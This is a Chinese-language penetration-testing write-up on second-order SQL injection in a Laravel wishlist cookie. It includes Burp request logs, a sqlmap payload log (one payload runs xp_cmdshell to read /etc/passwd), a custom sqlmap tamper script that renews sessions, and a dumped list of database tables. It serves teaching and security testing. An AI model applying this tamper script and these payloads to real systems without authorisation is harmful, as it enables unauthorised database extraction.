原文链接:https://yq.aliyun.com/articles/214915

本文讲的是通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入

其中一种安全漏洞被叫做二次注入,形成原因为,攻击者输入的攻击载荷首先会存储到web服务器中,然后web服务器调用这一攻击载荷时,会形成危害。

可以想象的到,二次注入可以发生在任何地方。不仅仅在同一个web应用程序,还可能感染使用同一数据库的web应用程序。因此,使用扫描器去发现这种漏洞是几乎不可能的。在这篇文章中,我会展示最近我们项目中发现的最有趣的一个注入漏洞。

我们手动渗透测试的方法

对于一次渗透测试是否成功,关键在于你是否了解到你的目标系统的业务流程。对于这点,我经常花费一到两天的时间像普通用户一样使用目标站点的功能。因此我可以了解到目标的全部工作流程。在填写表单或者提交任何请求时,我都会为填写的内容进行编号:

  1. 1. 给主要模块进行编号(比如发票、新闻、费用等等,这些你经常在导航栏中看到的内容)

  2. 2. 比如你正在填写注册凭证,并且需要您填写姓名和邮箱,这是我也会对它编号:

  3.        Username = johnticket1

  4.        Email = johnticket1@yopmail.com

随着从事渗透测试工作时间的变长,我久而久之开发了这一方法,以便于对数据进行跟踪。如果我在渗透测试过程中发现了johnticket1字段,这可能需要4-5天的时间,那时我还是可以清楚的了解到我应该回到哪个地方入手,进行二次注入测试。

初始阶段:检测

在我对目标进行浏览时,在Burp Suite日志中发现了如下请求和响应:

  1. GET /wishlist/add/9 HTTP/1.1

  2. Host: targetwebapp

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-US,en;q=0.5

  6. Referer: http://targetwebapp/

  7. Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D

  8. X-Forwarded-For: 127.0.0.1

  9. True-Client-Ip: 127.0.0.1

  10. Connection: close

  11. Upgrade-Insecure-Requests: 1

  12. ----

  13. HTTP/1.1 302 Found

  14. Date: Tue, 01 Aug 2017 07:31:12 GMT

  15. Server: Apache/2.4.18 (Ubuntu)

  16. Cache-Control: no-cache, private

  17. Location: http://targetwebapp/

  18. Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/

  19. Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly

  20. Content-Length: 324

  21. Connection: close

  22. Content-Type: text/html; charset=UTF-8

  23. <!DOCTYPE html>

  24. <html>

  25.     <head>

  26.         <meta charset="UTF-8" />

  27.         <meta http-equiv="refresh" content="1;url=http://targetwebapp/" />

  28.         <title>Redirecting to http://targetwebapp/</title>

  29.     </head>

  30.     <body>

  31.         Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>.

  32.     </body>

  33. </html>

我正在向心愿单添加一个产品,如果命令执行成功,应用程序就会重定向到主页,但是如果我浏览/wishlist/,我可以看到产品的详细信息。

有一些事情引起了我的注意,为什么在http响应头中发现了set-cookie参数?为了确定我得到的答案,我尝试着添加了不同id的产品到愿望单中,结果果然是我想的那样,每次请求之后都会有新的set-cookie参数。让我注意的地方:

  1. 1. 我现在没有登录,但是应用程序能够捕捉到我添加的产品。

  2. 2. 当我请求添加不同id的产品时,我会得到set-cookie响应。

所以答案很明显了,它会加密客户端这边的会话。应用程序将产品的id存储在我的cookie中,然后在返回时对这一值进行加密处理。同时我发现目标是使用的Laravel框架开发的,因为Laravel框架会有名为XSRF-TOKEN的cookie值,并且会默认对cookie进行加密。

这时需要明白的是服务端的工作流程,当我提交/wishlist/add/<id>这一内容时,服务端会将其加密存储到cookie中。如果浏览/wishlist/页面,接下来的步骤如下:

  1. 1. 获取cookie值

  2. 2. 解密cookie值

  3. 3. 从cookie中得到心愿单数组

  4. 4. 在查询中使用获取来的数组

  5. 5. 展示产品的详细信息

一个小tip:如果你相信这一复杂的查询是在一个sql语句中完成的,想象一下开发过程,那么可能会使用了where id IN <values>这样的语句。

第二阶段-自动化工具问题

说实话,Burp以及Netsparker都无法检测到这一漏洞。为了了解的更清楚,以下是自动化工具扫描的工作流程:

1.输入用户帐号密码或者使用提供的cookie进行登录。
2.发送类似于 /wishlist/add/9" and 1=1 –或者 /wishlist/add/9' or 1=1 –或者 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1–这类语句
3.计算响应时间间隔或者http返回内容。
4.等待发送的异步请求

根据上述流程,扫描器不会看到任何http响应的实体内容。并且响应时间间隔并没有太大的差距。在这种情况下,应用程序只是简单的将用户输入加密并且存储到了cookie中。

当扫描器会对每一个url进行浏览,当访问到/whislist/时,SQL查询会进行,但是扫描工具输入的内容已经扰乱了sql查询,导致sql查询失败,所以http响应返回500标志。

第三阶段-对sqlmap进行定制,变得更强大

下方是sqlmap产生的前五个http请求,特别是前两个一直保持不变。

  1. ~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3

  2. [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

  3. [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  4. [11:48:57] [INFO] testing if the target URL is stable

  5. [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  6. [11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic

  7. [11:48:58] [PAYLOAD] 9(..,)),('"

  8. [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  9. [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable

  10. [11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju

  11. [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  12. [11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'

  13. [11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

  14. [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305

  15. [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  16. [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355

  17. [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  18. [11:49:00] [PAYLOAD] 9 AND 5896=8011

  19. [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  20. [11:49:00] [PAYLOAD] 9 AND 3274=3274

  21. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  22. [11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU

  23. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  24. [11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB

  25. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  26. [11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP

  27. [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)

  28. [11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC

如果你进一步查看前两个请求,你会发现sqlmap尝试绕过waf,然后强制对请求进行编码。之后它会逐一发送sql查询语句,那么问题就在于这些攻击载荷都会加密到cookie中,导致当sqlmap到–seconde-order目录时,会返回500错误。也是因为第一个请求已经将sql语法扰乱,导致sqlmap这次攻击出错。

所以我们需要为sqlmap发送的每个http请求提供一个新的会话。于是我通过自定义的tamper脚本实现了这一功能。

遵循HTTP请求和响应形式是强制应用程序启动新会话的一种方式。

  1. GET / HTTP/1.1

  2. Host: targetwebapp

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-US,en;q=0.5

  6. X-Forwarded-For: 127.0.0.1

  7. True-Client-Ip: 127.0.0.1

  8. Connection: close

  9. Upgrade-Insecure-Requests: 1

  10. ---

  11. HTTP/1.1 200 OK

  12. Date: Tue, 01 Aug 2017 06:31:36 GMT

  13. Server: Apache/2.4.18 (Ubuntu)

  14. Cache-Control: no-cache, private

  15. Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/

  16. Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly

  17. Vary: Accept-Encoding

  18. Connection: close

  19. Content-Type: text/html; charset=UTF-8

  20. Content-Length: 22296

可以进行以下步骤:
1.发送不带有任何cookie的请求。
2.解析set-cookie,得到XSRF-TOKEN以及SESSION
3.更新sqlmap产生的请求
4.所以每次sqlmap请求都会产生新的会话,当sqlmap发送载荷之后,访问/wishlist/时,/wishlist/响应只与之前发送的payload有关。

我非常建议你使用https://github.com/h3xstream/http-script-generator这一工具产生http请求。这一拓展会生成脚本重复发送所选请求。

以下是我sqlmap tamper的模块,它向主页发送HTTP请求并检索新的cookie值。然后它会更新sqlmap生成的HTTP请求的Cookie值。

  1. #!/usr/bin/env python

  2. """

  3. Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)

  4. See the file 'doc/COPYING' for copying permission

  5. """

  6. import requests

  7. from lib.core.enums import PRIORITY

  8. from random import sample

  9. __priority__ = PRIORITY.NORMAL

  10. def dependencies():

  11.     pass

  12. def new_cookie():

  13.     session = requests.Session()

  14.     headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}

  15.     response = session.get("http://targetwebapp/", headers=headers)

  16.     XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]

  17.     SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")

  18.     return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)

  19. def tamper(payload, **kwargs):

  20.     headers = kwargs.get("headers", {})

  21.     headers["Cookie"] = new_cookie()

  22.     return payload

最后注入成功:)

  1. sqlmap git:(master)  python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py

  2. ...

  3. Database: XXX

  4. [12 tables]

  5. +------------------------------------------------------+

  6. | categories                                           |

  7. | comments                                             |

  8. | coupon_user                                          |

  9. | coupons                                              |

  10. | migrations                                           |

  11. | order_product                                        |

  12. | orders                                               |

  13. | password_resets                                      |

  14. | products                                             |

  15. | subscribers                                          |

  16. | user_addresses                                       |

  17. | users                                                |

  18. +------------------------------------------------------+

结论

1.不要相信自动化扫描器的结果
2.在聘请渗透测试工程师时一定要具有手工渗透经验的人
3.遇到问题要尝试去解决

通过Burp以及自定义的Sqlmap Tamper进行二次SQL注入相关推荐

  1. KALI LINUX2021环境下使用sqlmap进行DVWA中的sql注入(安全等级LOW)

    KALI LINUX2021环境下使用sqlmap进行DVWA中的sql注入(安全等级LOW) 渗透环境 第一步:将DVWA中安全等级调整为LOW (使用谷歌Chrome浏览器) 第二步:利用网页对s ...

  2. sqlmap tamper脚本编写

    0x00 sqlmap tamper简介 sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf. 0x01 ...

  3. sqlmap tamper mysql_Sqlmap Tamper大全(1)

    1 * Input: 1 AND 9227=9227 2 *Output:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 View Code sqlmap是一 ...

  4. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  5. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  6. 【无标题】【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一.sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入.目前支持的数据库有MySql.Oracle.Access.PostageSQL. ...

  7. SQL注入-SQLMAP基础使用(十二)

    实验目的 了解SQLMAP的工作原理,熟悉SQLMAP的常用命令,掌握SQLMAP的-u参数的基本使用方法. 实验环境 攻击机:吹毁目标 (2)安装的应用软件:sqlmap .Burpsuite .F ...

  8. jdbctemplate 执行多条sql_白帽推荐:可以自动检索、挖掘sql注入的神器,sqlmap入门实战

    学习web渗透的小白,必须有一份sqlmap的入门档案,收藏好,以备不时之需哈! Sqlmap介绍 sqlmap是一个自动化的SQL注入工具,其主要功能就是扫描.发现并利用给定的URL的SQL注入漏洞 ...

  9. SQLMap 扫描利用SQL注入

    一.SQLMap介绍 SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL .Oracle .Postgre ...

最新文章

  1. 根本停不下来,原来学计算机可以这么有趣
  2. http://wenku.baidu.com/view/26afdb8371fe910ef12df8ccRevit采用DWG和FBX两种格式导入3D max方法的总结...
  3. 中国-中东欧国家特色农产品 云上国际农民丰收节贸易会
  4. IOS自带正则表达式NSPredicate的使用
  5. 人工智能诗歌写作平台_智能写作VS人工写作,Giiso写作机器人解放你的创造力...
  6. struct and union
  7. NYMEX ACCESS电子交易系统来
  8. 用c++写成的最小二乘法的源代码
  9. 如果安装License失败的解决方案
  10. 刷新tabpanel中的子项目内容
  11. Android初级教程初谈自定义view自定义属性
  12. springboot mybatis 事务_真香——Github上的优秀SpringBoot框架
  13. 华为ensp(telnet)实验
  14. Cameralink多功能接口转换模块
  15. Excel2007快捷键大全
  16. 快速搭建视频直播平台
  17. win10计算机网络共享打不开,windows10系统打不开WiFi热点如何修复
  18. 分析各家2440开发板的性价比(初学者如何选择开发板)
  19. 解读ORACLE数据库的统一命名与编码规范
  20. MySQL 后from多个表_SELECT * FROM多个表。 MySQL的

热门文章

  1. 【技术晨读】EAV or JSON
  2. 基于 ZYNQ 的无线超声数据传输及显示系统的实现
  3. 【正点原子FPGA连载】第十九章IP核之双端口RAM实验 -摘自【正点原子】新起点之FPGA开发指南_V2.1
  4. openid php steam,Steam OpenID签名验证
  5. Java POI 导出Excel,设置单元格无法编辑, 开启工作表保护后,依然可以筛选, 冻结行列不移动
  6. The LeVoice Far-field Speech Recognition System for VOiCES from a Distance Challenge 2019
  7. 抓取百度地图瓦片(离线GIS)
  8. 货郎问题的实例 c语言编程,货郎担问题的C语言解法
  9. DenseCLIP:Language-Guided Dense Prediction with Context-Aware Prompting
  10. 《笨方法学习python3》练习12: Prompting People